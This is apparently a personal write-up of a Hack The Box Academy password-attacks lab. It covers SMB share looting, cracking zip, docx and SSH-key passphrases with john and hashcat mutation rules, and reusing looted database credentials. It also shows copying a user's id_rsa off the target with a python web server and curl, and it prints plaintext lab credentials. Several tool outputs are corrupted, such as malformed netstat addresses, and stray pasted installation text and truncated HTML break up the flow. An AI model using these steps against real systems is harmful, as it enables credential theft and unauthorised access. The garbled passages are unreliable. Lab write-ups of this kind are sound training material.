Medium

Prompt:

Our next host is a workstation used by an employee for their day-to-day work. These types of hosts are often used to exchange files with other employees and are typically administered by administrators over the network. During a meeting with the client, we were informed that many internal users use this host as a jump host. The focus is on securing and protecting files containing sensitive information.

Target: 10.129.202.221

Starting off with a default scripts service enumeration nmap scan

```
$ nmap -sC -sV 10.129.202.221 -oA default_scripts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-16 23:40 CST
Nmap scan report for 10.129.202.221
Host is up (0.044s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
                          VERSION
                         OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
ssh-hostkey:
    3072 3f:4c:8f:10:f1:ae:be:cd:31:24:7c:a1:4e:ab:84:6d (RSA)
    256 7b:30:37:67:50:b9:ad:91:c0:8f:f7:02:78:3b:7c:02 (ECDSA)
   256 88:9e:0e:07:fe:ca:d0:5c:60:ab:cf:10:99:cd:6c:a7 (ED25519)
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
 smb2-time:
   date: 2024-12-17T05:41:36
    start date: N/A
_nbstat: NetBIOS name: SKILLS-MEDIUM, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
  smb2-security-mode:
      Message signing enabled but not required
_clock-skew: 1m13s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.49 seconds
```

SSH, SMB

Attempted to SSH as mike using the creds found in the previous lab

```
mike:7777777
```

That didn't work

Ran some nmap script vulnerability scanning on the SMB ports to see if there would be any easy exploitation there and found nothing of value

Running some SMB enumeration with SMBmap

There is a readable share driver

Use SMB client to attempt to access the readable share drive

find a document and download it

Attempting to unzip docs.zip it ask for a password convert the zip file to a hash with zip2john script

Running john with rockyou against the hash did not work

Running it with a mutated password list from the custom rules and password list htb gave us did

```
#generating custom password list:
hashcat --force password.list -r custom rule --stdout | sort
-u > mut_password.list
#running john with that list
```

```
john --wordlist=~/htb/password_attacks/mut_password.list Doc
s.hash

Destiny2022! (Docs.zip/Documentation.docx)
```

Unzip the file using that password and we find a document that is password protected. Using the password found to unzip the archive did not work on this file. SO I attempt to crack the file as well

Follow the same process converting the file to a hash and then running john on that with a mutated word list

```
987654321 (Documentation.docx)
```

Inside that file we find some credentials to use

5. Point your browser to http://localhost:8080/cms (in case you have not chosen other options in the settings.xml parameters inlane.deploy.war.dirName and inlane.deploy.war.servletPath).

Root password is jason:C4mNKjAtL2dydsYa6
6. Create your first virtual site and enjoy
7. Alternatively if you want to test inlane's configuration from scratch, simply add the configwizard-webapp module in your root pom.xml, in order to have something like module>configwizard-webapp/module>

jason:C4mNKjAtL2dydsYa6

attempt to log into root with the password above, failed sudo -I says jason is not allowed to run sudo checking the bash history file it is empty checking /tmp to see if there are any ccache files, there was nothing tried to run realm and it wasn't installed Copied over linpeas with curl and python web server to do some more enumeration automatically

Looking through the enumeration results we find that mysql is open. This was also mentioned in the document that we cracked earlier so it may be of importance

In this case you will have to point your browser to http://localhost:8080/config the first time then afterwards just head to http://localhost:8080/cms as usual Change to the tomcat/bin and run the servlet container (launch startup.bat or https://localhost:8080/cms or <a href="https://localhost

```
Active Ports

https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports

tcp 0 0 1227.0001:3305 0.0.0.0:* LISTEN -

tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN -

tcp 0 0 0127.0.0.53:53 0.0.0.0:* LISTEN -

tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -

tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN -

tcp 0 0 0127.0.0.1:33060 0.0.0:* LISTEN -

tcp 0 Tisniff with tcpdump?
```

Attempting to connect to the database with the credentials we found

```
mysql -u jason -p -h 127.0.0.1
C4mNKjAtL2dydsYa6
```

Doing some database enumeration we find a password for dennis, the other user that I saw in the home directory aside from jason

```
101 | dennis | 7AUgWWQEiMPdqx
```

switching users to dennis with the found password works

Running sudo -I Dennis is also not allowed to sudo

looking at the files in his home directory we see a .ssh folder

transfer that file over to my attacking machine with a python web server

```
python3 -m http.server

download from attacking machine with
curl -0 http://<target>:8000/id_rsa
```

convert the key to a hash

run john against the file with the same mutated password list and we crack it

```
P@ssw0rd12020! (id_rsa)
```

ssh on the target machine as dennis to the target as root worked ssh from our attacking machine as root using the id_rsa file we found also worked

```
dennis@skills-medium:~/.ssh$ ssh root@localhost
P@ssw0rd12020!
```

and then we get our flag as root!~